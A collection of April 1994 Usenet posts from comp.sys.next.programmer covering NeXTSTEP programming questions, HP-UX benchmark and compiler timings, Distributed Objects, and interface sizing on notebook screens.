From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Gecko chatter Date: Sun, 24 Apr 1994 13:25:48 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <QhieiQm00iUzM2l2BU@andrew.cmu.edu> In-Reply-To: <9404240608.AA01317@stokeisland.ohi.com> Excerpts from netnews.comp.sys.next.programmer: 24-Apr-94 Re: Gecko chatter by Christopher Traynor@stok > I submit to anyone who would like to share the truth with the rest of > us to post some REAL stats from a well known test suite like NXBench and > the Byte Benchmarks from cs.orst.edu. Well taken. However, I don't have a Gecko (the HP 712), but I do have acess to an HP 715/50 (with 32MB RAM), which is an older and slower machine than the 712. This machine is running HP-UX 9.01 with all of the latest kernel patches installed. Here is the results of the Byte benchmark, using the gcc NeXT provides with PDO for the HP: BYTE UNIX Benchmarks (Version 3.11) System -- HP-UX hp715-50 A.09.01 A 9000/715 2002832775 two-user license Start Benchmark Run: Sun Apr 24 11:48:53 EDT 1994 1 interactive users. Dhrystone 2 without register variables 91733.9 lps (10 secs, 6 samples) Dhrystone 2 using register variables 93108.2 lps (10 secs, 6 samples) Arithmetic Test (type = arithoh) 229881.8 lps (10 secs, 6 samples) Arithmetic Test (type = register) 5323.2 lps (10 secs, 6 samples) Arithmetic Test (type = short) 5314.1 lps (10 secs, 6 samples) Arithmetic Test (type = int) 5323.9 lps (10 secs, 6 samples) Arithmetic Test (type = long) 5247.5 lps (10 secs, 6 samples) Arithmetic Test (type = float) 25634.5 lps (10 secs, 6 samples) Arithmetic Test (type = double) 18784.3 lps (10 secs, 6 samples) System Call Overhead Test 23522.7 lps (10 secs, 6 samples) Pipe Throughput Test 6219.2 lps (10 secs, 6 samples) Pipe-based Context Switching Test 1977.8 lps (10 secs, 6 samples) Process Creation Test 206.0 lps (10 secs, 6 samples) Execl Throughput Test 49.5 lps (9 secs, 6 samples) File Read (10 seconds) 31341.0 KBps (10 secs, 6 samples) File Write (10 seconds) 8199.0 KBps (10 secs, 6 samples) File Copy (10 seconds) 2527.0 KBps (10 secs, 6 samples) File Read (30 seconds) 30578.0 KBps (30 secs, 6 samples) File Write (30 seconds) 8066.0 KBps (30 secs, 6 samples) File Copy (30 seconds) 2403.0 KBps (30 secs, 6 samples) C Compiler Test 101.1 lpm (60 secs, 3 samples) Shell scripts (1 concurrent) no measured results Shell scripts (2 concurrent) no measured results Shell scripts (4 concurrent) no measured results Shell scripts (8 concurrent) no measured results Dc: sqrt(2) to 99 decimal places 2543.3 lpm (60 secs, 6 samples) Recursion Test--Tower of Hanoi 1002.3 lps (10 secs, 6 samples) INDEX VALUES TEST BASELINE RESULT INDEX Arithmetic Test (type = double) 2703.3 18784.3 6.9 Arithmetic Test (type = long) 2827.0 5247.5 1.9 Arithmetic Test (type = register) 2847.5 5323.2 1.9 C Compiler Test 24.1 101.1 4.2 Dhrystone 2 without register variables 24179.3 91733.9 3.8 Execl Throughput Test 23.7 49.5 2.1 File Copy (30 seconds) 518.0 2403.0 4.6 File Read (30 seconds) 18288.0 30578.0 1.7 File Write (30 seconds) 600.0 8066.0 13.4 Pipe-based Context Switching Test 1153.5 1977.8 1.7 Process Creation Test 34.0 206.0 6.1 Recursion Test--Tower of Hanoi 323.8 1002.3 3.1 Shell scripts (8 concurrent) 3.8 0.0 0.0 ========= SUM of 13 items 51.4 AVERAGE 4.0 The baseline was an 25MHz 68040 NeXT machine. I have no idea why the shell script test failed, but I hope the other results will suffice. I suspect that the impressive file access times are due to massive caching and a fast drive. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko chatter Date: 24 Apr 1994 18:05:36 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2pecdg$2tq@cerberus.wsc.com> References: <1994Apr24.171911.5840@news.media.mit.edu> In article <1994Apr24.171911.5840@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: > > Here's a real number: I have an HP735, and I have prman running on it. It > runs about 11 times faster than a NeXTStation Color. That's running under > HP-UX, of course, and HP's compilers are traditionally excellent at getting > performance out of their machines (that's in my experience running code > on the machine). > > Let's give this thread a rest until the damn product comes out folks, shall > we? > A side note on HP-CC vs. GNU-CC Don't count the GNU compiler out! It's pretty good. Here's a program of mine that was compiled with both compilers: (gcc-2.5.8/gas -O4 -finline-functions) [athena] [/usr/o2/o2/rawdata/mlp] /bin/time dm.gcc -f raw2fields.dm -i delimited.data -o tmp -v1 -q 20000 + Record processing started at Sun Apr 24 14:02:31 1994 + Setting up "DEFAULT" using a 64k input buffer. + Setting up "DEFAULT" using a 64k output buffer. + Finished at Sun Apr 24 14:02:57 1994 + Total REAL: 20000 records processed in 25.65 seconds (779.58 r/s). real 25.8 user 23.6 sys 2.2 (cc +O3) [athena] [/usr/o2/o2/rawdata/mlp] /bin/time dm.cc -f raw2fields.dm -i delimited.data -o tmp -v1 - 220000 + Record processing started at Sun Apr 24 14:00:45 1994 + Setting up "DEFAULT" using a 64k input buffer. + Setting up "DEFAULT" using a 64k output buffer. + Finished at Sun Apr 24 14:01:11 1994 + Total REAL: 20000 records processed in 25.41 seconds (787.13 r/s). real 25.9 user 23.2 sys 2.2 - darcy
From: patricia@cco.caltech.edu (Patricia M. Schwarz) Newsgroups: comp.sys.next.programmer Subject: A plea from a notebook user - window sizing! Date: 24 Apr 1994 19:25:29 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2peh39$6ko@gap.cco.caltech.edu> I was having a lot of fun with my new notebook yesterday, until I started up the MicroPhone script editor and realized that the window is larger than the notebook screen and so I can neither resize it nor have access to any of the interface below the screen edge except for the Okay button, which a CR gets from anywhere. Some kind soul sent me a VirtSpace demo and now I realize that this window can't even be shrunk to fit inside the notebook window. Okay, I will accept the reality - I need VirtSpace on my notebook. At least I can move the script editor around and eventually have access to the whole thing. But - interface designers out there in Net-land - remember that we're not all working on 17" monitors all day!!! Y'all are designing living space for the Great Plains - and some of us spend a lot of time in what is more like a Tokyo airport hotel. Size isn't everything, ya know ;-) -patricia
From: bussarj@alleg.edu (Tom Cadence) Newsgroups: comp.sys.next.programmer Subject: Re: ThumbWheel Palette Date: 23 Apr 1994 14:46:29 GMT Organization: Allegheny College Message-ID: <2pbcc5$ouh@mustang.alleg.edu> References: <2pa6na$6ah@news.delphi.com> D_CHAN@DELPHI.COM writes <->I'm trying to use the ThumbWheel palette I downloaded from ftp.next.com but <->I seem to be having some trouble. After installing the palette and putting <->it in my application the app compiles with no errors or warnings but <->when run the icon starts up then disappears. The following messages are <->generated on the console: <-> <->Apr 10 10:54:02 roadrunner Count[703]: objc: class `ThumbWheel' not linked <->into application Apr 10 10:54:02 roadrunner Count[703]: An uncaught <->exception was raised Apr 10 10:54:02 roadrunner Count[703]: Typed streams <->library error: class error <->for 'ThumbWheel': class not loaded <-> <->Any help would be greatly appreciated. Thanks. <-> <->-Derek I usually get this behvior when I forget to add the library for the extra palette. Check to see that you included the library to link against the project and brought in the necessary files. Jeremy -- ########################## bussarj@alleg.edu ############################ "When a person sees desire and dedication within the self, that person has the realization of hope... When this same person also sees inspiration within desire and dedication, that person then has the realization of a dream..." ######################### Jeremy Allan Bussard ##########################
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Bizzare Bug: using "continue" as a variable Message-ID: <1994Apr22.175312.934@afs.com> Sender: greg@afs.com References: <2p2c4g$ec8@nntp.ucs.ubc.ca> Date: Fri, 22 Apr 1994 17:53:12 GMT In article <2p2c4g$ec8@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: > I've got a really bizarre bug. > For some reason or another I cannot use the variable "continue". for() a while(), when I tried to register a default: named "switch", my code would break; too. Very mysterious. static on the line? unsigned union card from local 12? Then one day I got a break; in the case:, and my program has run correctly ever since. if() you long for() the short answer, do() this: goto K&R page 218. return when you have been enlightened, or else email me directly for() additional clues. 8^) 8^) (double-d over laughing) -- Gregory H. Anderson | "Internet: a giant international network Stud Hombre Cybermuffin | of intelligent, informed computer Anderson Financial Systems | enthusiasts, by which I mean 'people greg@afs.com (NeXTmail OK) | without lives.'" -- Dave Barry, 2/6/94 swer, do() this: goto K&R p
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: Re: Bogus make dependencies Message-ID: <1994Apr22.175911.3354@afs.com> Sender: jaime@afs.com References: <CoGw1o.5rz@trwlasd.com> Date: Fri, 22 Apr 1994 17:59:11 GMT In article <CoGw1o.5rz@trwlasd.com> ewsdev99!bruce (Bruce McKenzie) writes: > When I run make depend (from PB, NS3.1 Black) I get only one dependency > per source file: > File.o : File.h > regardless of what File.h (or File.m) really imports. > I tried changing a #import to a #include. No difference. > Bruce McKenzie > bruce@trwlasd.com 'make depend' runs the cc command with the -MM switch, which, according to the man page, generates dependency information for ``only the user-header files included with #include "file". System header files included with #include <file> are omitted.'' So use double quotes instead of angle brackets in your imports/includes. Note that in NS versions prior to 3.2 a lot of needless appkit-header dependencies are generated, which makes for a big Makefile.dependencies file and dramatically slows down normal project builds. -- Jaime Guerrero "Wake Up, I'm Horny" Anderson Financial Systems Inc. (album by Big Daddy Graham) Philadelphia, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Any problems with MallocDebug? Message-ID: <1994Apr23.150621.25641@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2p4c0p$51i@fermat.mayo.edu> Date: Sat, 23 Apr 1994 15:06:21 GMT Lisa, sounds more like a DBKit error. Be sure you have the: OTHER_LDFLAGS=-u libdbkit_s -u libNeXT_s -u libsys_s in your Makefile.preamble In article <2p4c0p$51i@fermat.mayo.edu> minogue@mayo.edu (Lisa Minogue) writes: > > I'm trying to use MallocDebug on my (dbkit) application. I link the > MallocDebug library into my app and try to run it. I get connected to the > database, but that's it. The only windows I can bring up are windows that > don't have a dbmodule in them (for example, I can bring up my info panel). > As soon as I try to bring up a window containing a dbmodule, my app hangs. > In the console I get the message: > Apr 20 17:04:00 cantor DecoupledCRC[5262]: objc: class `a.b.c' not linked > into application > > where a.b.c is a relationship from my module. > > Any ideas? > > Thanks in advance. > > -- Lisa > > ---------------------------------------------------------- > Lisa M. Minogue Internet: minogue@mayo.edu > Analyst/Programmer NeXT mail welcome > Research Computing Facility > MAYO Foundation > -----------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: mark@xexos.com (Mark Chamberlain) Subject: Re: Convert .wav to .snd? Message-ID: <Cos106.DAM@xexos.com> Sender: usenet@xexos.com Organization: Xexos Ltd (London) References: <1994Apr24.081248.17249@seer.demon.co.uk> Date: Sun, 24 Apr 1994 18:36:06 GMT In article <1994Apr24.081248.17249@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: > > Does anyone know of a program that will convert .wav format to .snd > > format? > > GISO.app and sox is the obvious way. > Does anyone have both these apps compiled/MAB up on one of the archive sites somewhere? -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
From: chris@helser54.res.iastate.edu (Chris Wong) Newsgroups: comp.sys.next.programmer Subject: NS c++ compiler Date: 25 Apr 1994 00:12:56 GMT Organization: Iowa State University, Ames, Iowa Message-ID: <2pf1u8$dol@news.iastate.edu> I use the NS cc++/cc compiler to compile a few C++ program, but the iomanip.h header file is written in template which NS doesn't support yet. Anyone got a fix on this? Thanks for any help. Chris
From: bussarj@alleg.edu (Jeremy Bussard) Newsgroups: comp.sys.next.programmer Subject: Re: Convert .wav to .snd? Date: 24 Apr 1994 23:32:42 GMT Organization: Allegheny College Message-ID: <2peviq$1c2@mustang.alleg.edu> References: <Cos106.DAM@xexos.com> Mark Chamberlain writes <->In article <1994Apr24.081248.17249@seer.demon.co.uk> paul@seer.demon.co.uk <->(Paul Lynch) writes: <->> > Does anyone know of a program that will convert .wav format to .snd <->> > format? <->> <->> GISO.app and sox is the obvious way. <->> <-> <->Does anyone have both these apps compiled/MAB up on one of the archive sites <->somewhere? <-> <->-- <->Mark Chamberlain +44 71 237 4535 <->Xexos Ltd fax +44 71 231 0844 <->London mark@xexos.com cs.orst.edu has a MAB version of GISO.app which contains sox. The directory escapes me right now, but that's where you will find it. Jeremy -- ########################## bussarj@alleg.edu ############################ "When a person sees desire and dedication within the self, that person has the realization of hope... When this same person also sees inspiration within desire and dedication, that person then has the realization of a dream..." ######################### Jeremy Allan Bussard ##########################
From: dsiebert@icaen.uiowa.edu (Doug Siebert) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko chatter Date: 25 Apr 1994 03:01:45 GMT Organization: Iowa Computer Aided Engineering Network, University of Iowa Message-ID: <2pfbqp$in3@news.icaen.uiowa.edu> References: <1994Apr24.171911.5840@news.media.mit.edu> <2pecdg$2tq@cerberus.wsc.com> samurai@hasc.ca (Darcy Brockbank) writes: >Don't count the GNU compiler out! It's pretty good. Here's a >program of mine that was compiled with both compilers: >(gcc-2.5.8/gas -O4 -finline-functions) >[athena] [/usr/o2/o2/rawdata/mlp] /bin/time dm.gcc -f raw2fields.dm -i >delimited.data -o tmp -v1 -q 20000 >+ Record processing started at Sun Apr 24 14:02:31 1994 >+ Setting up "DEFAULT" using a 64k input buffer. >+ Setting up "DEFAULT" using a 64k output buffer. >+ Finished at Sun Apr 24 14:02:57 1994 >+ Total REAL: 20000 records processed in 25.65 seconds (779.58 r/s). >real 25.8 >user 23.6 >sys 2.2 >(cc +O3) >[athena] [/usr/o2/o2/rawdata/mlp] /bin/time dm.cc -f raw2fields.dm -i >delimited.data -o tmp -v1 - 220000 >+ Record processing started at Sun Apr 24 14:00:45 1994 >+ Setting up "DEFAULT" using a 64k input buffer. >+ Setting up "DEFAULT" using a 64k output buffer. >+ Finished at Sun Apr 24 14:01:11 1994 >+ Total REAL: 20000 records processed in 25.41 seconds (787.13 r/s). >real 25.9 >user 23.2 >sys 2.2 Try getting the latest compiler (A.09.64, I can't remember the patch number off the top of my head, sorry) and try it with +O4 +Oall -Wl,-a,archive. I'm willing to bet you get nearly double the performance. HP just updated their compiler to optimize the *entire* program, not just individual .c files, which is why their SPEC ratings increased 20-25% a few months ago. It takes a *long* time to compile with +O4, but for a final cut (or for SPEC tests ;-)) it is amazingly fast. The -Wl,-a,archive will link it statically, getting better performance (this should work for gcc also, dunno how to make it link statically though) -- Douglas Siebert dsiebert@isca.uiowa.edu
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: A plea from a notebook user - window sizing! Message-ID: <1994Apr24.224520.18791@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <2peh39$6ko@gap.cco.caltech.edu> Date: Sun, 24 Apr 1994 22:45:20 GMT In article <2peh39$6ko@gap.cco.caltech.edu> patricia@cco.caltech.edu (Patricia M. Schwarz) writes: > I was having a lot of fun with my new notebook yesterday, until I started > up the MicroPhone script editor and realized that the window is > larger than the notebook screen and so I can neither resize it nor > have access to any of the interface below the screen edge except for the > Okay button, which a CR gets from anywhere. > > Some kind soul sent me a VirtSpace demo and now I realize that this window > can't even be shrunk to fit inside the notebook window. > > Okay, I will accept the reality - I need VirtSpace on my notebook. At least I > can move the script editor around and eventually have access to the whole > thing. > > But - interface designers out there in Net-land - remember that we're > not all working on 17" monitors all day!!! > > Y'all are designing living space for the Great Plains - and some of us > spend a lot of time in what is more like a Tokyo airport hotel. > > Size isn't everything, ya know ;-) I sure hope this is fixed in 3.3. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: scottwei@aol.com (ScottWei) Newsgroups: comp.sys.next.programmer Subject: Re: FetchGroup created Expressions Date: 25 Apr 1994 03:35:03 -0400 Organization: America Online, Inc. (1-800-827-6364) Sender: news@search01.news.aol.com Message-ID: <2pfrr7$53f@search01.news.aol.com> References: <1994Apr22.220743.6016@nugget.rmNUG.ORG> In article <1994Apr22.220743.6016@nugget.rmNUG.ORG>, chuston@nugget.rmNUG.ORG (Chris Huston) writes: >I pointed an outlet to the DBTableVector and then sent associationForObject >to the DBModule - which returns 0 - even though the IB inspector panel shows >"ToSponsor.name DBTableVector". When a property is dragged into a DBTableview there is no column vector association created, therefore associationForObject: won't work. The expression is actually contained in the DBTableVector in an instance variable called identifier. Let me know if you need more info. Scott Weiner President, Paradigm Research, Inc. "Helping companies succeed through knowledge transfer."
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: A plea from a notebook user - window sizing! Message-ID: <1994Apr25.082204.20096@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2peh39$6ko@gap.cco.caltech.edu> <1994Apr24.224520.18791@seer.demon.co.uk> Date: Mon, 25 Apr 1994 08:22:04 GMT In article <1994Apr24.224520.18791@seer.demon.co.uk> paul@seer.demon.co.uk writes: >>In article <2peh39$6ko@gap.cco.caltech.edu> patricia@cco.caltech.edu >>(Patricia M. Schwarz) writes: >>> I was having a lot of fun with my new notebook yesterday, until I >>started >>> up the MicroPhone script editor and realized that the window is >>> larger than the notebook screen and so I can neither resize it nor >>> have access to any of the interface below the screen edge except for the >>> Okay button, which a CR gets from anywhere. >>> <<stuff deleted>> >>I sure hope this is fixed in 3.3. >> How could it be? This is the app's problem, not NEXTSTEP. If the app is designed for a particular amount of screen real estate, it needs to be redesigned to fix this. Given that Microphone was done as a 2.x app, back in the days of one-screen-one-size, it was a reasonable thing, but now in the 3.x multi-resolution world that we're in today, it's up to the app designer to deal with this. As a registered owner of a black copy of Microphone, I haven't heard much from Software Ventures in a long time, so I don't know if we'll ever see a new copy of Microphone out, but if we do, I would hope they would deal with this problem (since a telecommunications program is apt to be installed on a portable...). Or am I missing something? -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
#################################################################### Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: NXBundle request...and Distributed Objects Message-ID: <CotFMK.5Mo@news.cis.umn.edu> Summary: nxbundle and remote resources... Keywords: Objective C NXBundle Distributed Objects Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services Date: Mon, 25 Apr 1994 12:53:07 GMT Does anyone have a NXBundle subclass that will properly do a read: and write: such that it will include all the resources in that bundle? This would include the object code and other resources...? I'd like to move a bundle from one filesystem to another over DO without having to hack a front end to gnutar, etc... If I have a connection to a remote bundle might work, but I'd like to be able to assemble the bundle and hand it off to the client without having to worry if the client has all the pieces. The server wants to free the bundle just as soon as it's assembled the pieces and hands it off to the client. *** If you're still with me, the real request is for the ability to create an object on the fly. As the object that will need instances of this newly fashioned class may or may not be on a host with a compiler (probably not). In c++ you can create classes by pushing onto the stack, is there some similar construct that I'm missing in Objective C? For now I've built a compile server that services building these objects for the requested architecture and then transport the .o back to the client inside of an NXData (note a deficiency in objc_loadModules() too in that it can only load modules from disk and not from memory) which will write it to a scratch file, load it and then remove it. Just as quick as I had this running I wanted to move other resources with the object code. grrrrr.... peter (Probably just another request to prove that I'm whacked out...) -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@cfa.org
Newsgroups: comp.sys.next.programmer From: max@elija.unibe.ch (Max Hoesle) Subject: Bug56k ( DSP - Debugger for black ) Message-ID: <1994Apr25.131834.19903@aragorn.unibe.ch> Sender: news@aragorn.unibe.ch Organization: University of Berne, Switzerland Date: Mon, 25 Apr 1994 13:18:34 GMT Since upgrading form NS2.2 to NS3.2 DSPeek in Bug56k doesen't work any longer. Is there a newer version availeable or have I to downgrade back to NS2.2 to use this funktion ? BTW the Bug56k in the Musickit has the same effect. Thanks Maximilian email: hoesle@iap.unibe.ch
From: merlyn@ora.com (Randal L. Schwartz) Newsgroups: comp.sys.next.programmer Subject: Re: Developer Expo talk idea? (TCL and IB) Date: 25 Apr 1994 15:11:37 GMT Organization: Stonehenge Consulting Services; Portland, Oregon, USA Message-ID: <MERLYN.94Apr25081137@linda.teleport.com> References: <1994Apr17.122652.3956@chemabs.uucp> <2p6tsn$8k0@zip.eecs.umich.edu> <1994Apr22.115529.8426@chemabs.uucp> In-reply-to: btf64@cas.org's message of Fri, 22 Apr 1994 11:55:29 GMT >>>>> "Bernard" == Bernard T French <btf64@cas.org> writes: Bernard> There are two tkperls in existence, one is based on Perl4 and the Bernard> other is based on Perl5 (see messages below). Perl5 and tkPerl5 are still in Bernard> alpha, and I'm having trouble waiting until Perl5/tkPerl5 are fully released and Bernard> the yet to be written (or probably even thought about) "Programming with Bernard> Perl5/tkPerl5" by Randal Schwartz has been published by O'Reilly. I've Bernard> anticipated vaporware before, but with Perl I'm now anticipating vaporbooks Bernard> as well. It'd only be a vaporbook if I had announced it. But now that you mention it, ... :-) Actually, the camel book *will* be fully updated for Perl5, but getting Perl5 out the door has a higher priority for Larry Wall (although not as high as getting his *real* job done), so work for the Camel5 won't begin until after Perl5 has stablized and Larry has recovered from that. Figure at least 9 months to a year (if the first one was any indication) before you see any hardcopy. Until then, you'll have to live with the new huge manpage. :-) And as yet, we don't have plans to put GUI info in the Camel... it's already pretty big. Perhaps "GUI Programming Perl", or "Programming Geoducks" ("gooey-ducks", a local shellfish, silly pun :-). print "Just another Perl hacker," # legal fund: $205 collected, $6235 spent; details -- email "\n@FUND\n" to me -- Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095 Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying Email: <merlyn@ora.com> Snail/FAX: (Call) aka: <merlyn@teleport.com> Phrase: "Welcome to Portland, Oregon ... home of the California Raisins!"
From: rudloff@gaveau.u-strasbg.fr (Rudloff) Newsgroups: comp.sys.next.programmer Subject: For Paper economies Date: 25 Apr 1994 16:06:45 GMT Organization: Universite Louis Pasteur - Strasbourg (France) Message-ID: <2pgpql$hud@thot.u-strasbg.fr> I'm looking for a App that would print two PostScript pages on the same and so reduce the paper quantity by 2. (When I want to print a ps document from Preview, the PageLayout is disabled). Thanks -- -------------------------------------------------------------- David Rudloff e-mail: rudloff@steinway.u-strasbg.fr -------------------------------------------------------------- ERIC (Equipe de Recherche en Ingenierie des connaissanes) ENSAIS
From: luomat@alleg.EDU (Timothy J. Luoma) Newsgroups: comp.sys.next.programmer Subject: dwrite for Brightness level or commandline way to increase brightness Date: 25 Apr 1994 11:23:44 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404251623.AA17309@alleg.EDU> We work on workstations across campus, so I use several different NeXTs per day depending on where I am. For those of you used to working on the same machine every day, you can imagine some of the minor but bothersome side effects of this. One of these is the fact that I am left with the brightness level left by whomever used the NeXT before me. The same thing will happen with the sound level and the mute status, because the Preferences.app sets those things on that NeXT, not for you individually. There is a dwrite that you can set for yourself for the volume, by dwrite NeXT1 Volume SomeNumber but I have not been able to find a corresponding dwrite for the brightness level. This can be a problem/annoyance because there are people who insist on holding down the brightness button to dim the screen when logging out, rather than just using the loginwindow screensaver. So if anyone has a dwrite that they know of, please let me know. Alternatively, I could use a commandline version which I would add to my console login script in my workspace lauchpaths, if anyone knew of or could create such a thing. Many thanks TjL --- Timothy J. Luoma Email: luomat@alleg.edu (Shell=tcsh) Workstation Environment using NeXTSTEP 3.1 Motorola MAIL: NeXT YES / MIME Mail NO No Root access, no super-user access
From: shill@iphysiol.unil.ch (Sean L. Hill) Newsgroups: comp.sys.next.programmer Subject: Re: A plea from a notebook user - window sizing! Date: 25 Apr 1994 16:18:14 GMT Organization: Institut de Physiologie, Universite de Lausanne Sender: -Not-Authenticated-[9116] Message-ID: <2pgqg6$mcs@cisun2000.unil.ch> References: <1994Apr24.224520.18791@seer.demon.co.uk> <CotEFL.FB8@xexos.com> Xdisclaimer: No attempt was made to authenticate the sender's name. In article <CotEFL.FB8@xexos.com> mark@xexos.com (Mark Chamberlain) writes: > In article <1994Apr24.224520.18791@seer.demon.co.uk> paul@seer.demon.co.uk > (Paul Lynch) writes: > > > > I sure hope this is fixed in 3.3. > > > > It'll be interesting to see how NeXT could fix this. Its always been a > >screen, this seems to me to be the only option for NeXT, supply an IB-mode, >or a driver, that can switch down to 640x480 for testing. > -- > Mark Chamberlain +44 71 237 4535 Well, they already have the "test"mode. Look in Netinfo on your local machine configuration. There should be a Screens property in which you can set the dimensions of your screen. Set it to 640X480, set the active bit to 1, save and exit the Window Server. Works very well. But, will NeXT add another style to Window that has a fit-to-screen button in the bar? I would love that. ----- Sean L. Hill Institut de Physiologie / Universite de Lausanne Rue du Bugnon, 7 CH-1005 Lausanne SWITZERLAND E-mail: Sean.Hill@iphysiol.unil.ch NEXTMAIL: hill@iisnext1.unil.ch
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: hostname detection in c? Message-ID: <1994Apr25.093356.20701@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <PJS.94Apr22104716@bigdog.engr.arizona.edu> Date: Mon, 25 Apr 1994 09:33:56 GMT In article <PJS.94Apr22104716@bigdog.engr.arizona.edu> pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) writes: > In article <2oucnv$qb0@email.tuwien.ac.at> > wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch) writes: > > How to detect with an c-program the hostname and store it in a variable? > Maybe someone could send me the sourcecode of the program. > > Wolfgang > > You really should learn how to use the online manual. Double click > /NextLibrary/Bookshelves/NextDeveloper.bshlf and search for hostname > in the UNIX Manual Pages. Alternatively, type "apropos hostname" from > a shell window. > > Or try typing in the following program... > > #include <stdio.h> > > int main(void) > { > char name[50]; > > gethostname(name, 50); > printf("hostname is %s\n", name); > return 0; > } > Or better, read the whole man page, and use MAXHOSTNAMELEN to avoid surprises on some machines... Yves -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: Breaking an NXConnection. How to do that, please? Message-ID: <1994Apr25.100956.21396@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <CoLorD.7r0@is.com> Date: Mon, 25 Apr 1994 10:09:56 GMT In article <CoLorD.7r0@is.com> pclark@is.com (Pete Clark) writes: > In article <1994Apr20.093532.26561@imag.fr> arrouye@petole.imag.fr (Yves > Arrouye) writes: > > I have written a small app with DO, and I want to allow the clients to > > register to another server and cease using the one they were connected to > > before. My problem is that I do not want to have a method telling the server > > that the client wants to unregister, so I am trying to break the > > connection by hand. > > Try something like: > > port_deallocate(task_self(), [[myConnection inPort] machPort]); > > The server will get notification of the port death. I don't know any other way > to trigger port death notification other than actually trashing the port. Hello, I tried this from the server to the client. This is ok, i.e. the client gets notification of the port death. However, if I want to break all connections like this (connections that were obtained from clients with connectionForProxy), the server ceases to run after having done that. So it seems that the server connection is invalidated too. How is this possible? Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
From: jdawson@sashimi.wwa.com (Jerald W. Dawson) Newsgroups: comp.sys.next.programmer Subject: Re: A plea from a notebook user - window sizing! Date: 25 Apr 1994 12:48:08 -0500 Organization: WorldWide Access - Chicago Area Internet Services 312-282-8605 708-367-1871 Message-ID: <2pgvoo$o8a@sashimi.wwa.com> In article <CotEFL.FB8@xexos.com> mark@xexos.com (Mark Chamberlain) writes: >On the Mac, you can switch your own screen down to look like a compact >Mac-size screen, this seems to me to be the only option for NeXT, supply an >IB-mode, or a driver, that can switch down to 640x480 for testing. Back when I had a Beta copy of 3.1, if you went into the Preferences.app and selected the "Screens" preference, it gave you the option of switching resolutions between VGA (640 x 480) and hi res color. It was over a year ago so I might not remember it right but I don't think you had to reboot. I think you couldjust make the VGA screen the current screen and the resolution would change automagicly. I suppose that they weren't able to get the bugs out and thats why it never made it to general release. I think that would be a great feature for 3.3. --- jerald dawson * Head Programmer * Investor's Advantage NeXTMAIL - jerald@mrk.com | Phone - (708)487-3221 | Don't blame me, I voted for Bush Fax - (708)526-3635 |
From: telesoft@delphi.com Newsgroups: comp.sys.next.programmer Subject: Accessing the Print/fax panel directly from Objective-C Date: Mon, 25 Apr 94 13:57:28 -0500 Organization: Delphi (info@delphi.com email, 800-695-4005 voice) Message-ID: <xy2sTHQ.telesoft@delphi.com> Does anyone know a way to access the Print/Fax panel directly from Objective-C? I would like to automatically fax an item to a specific number when the user presses a button.
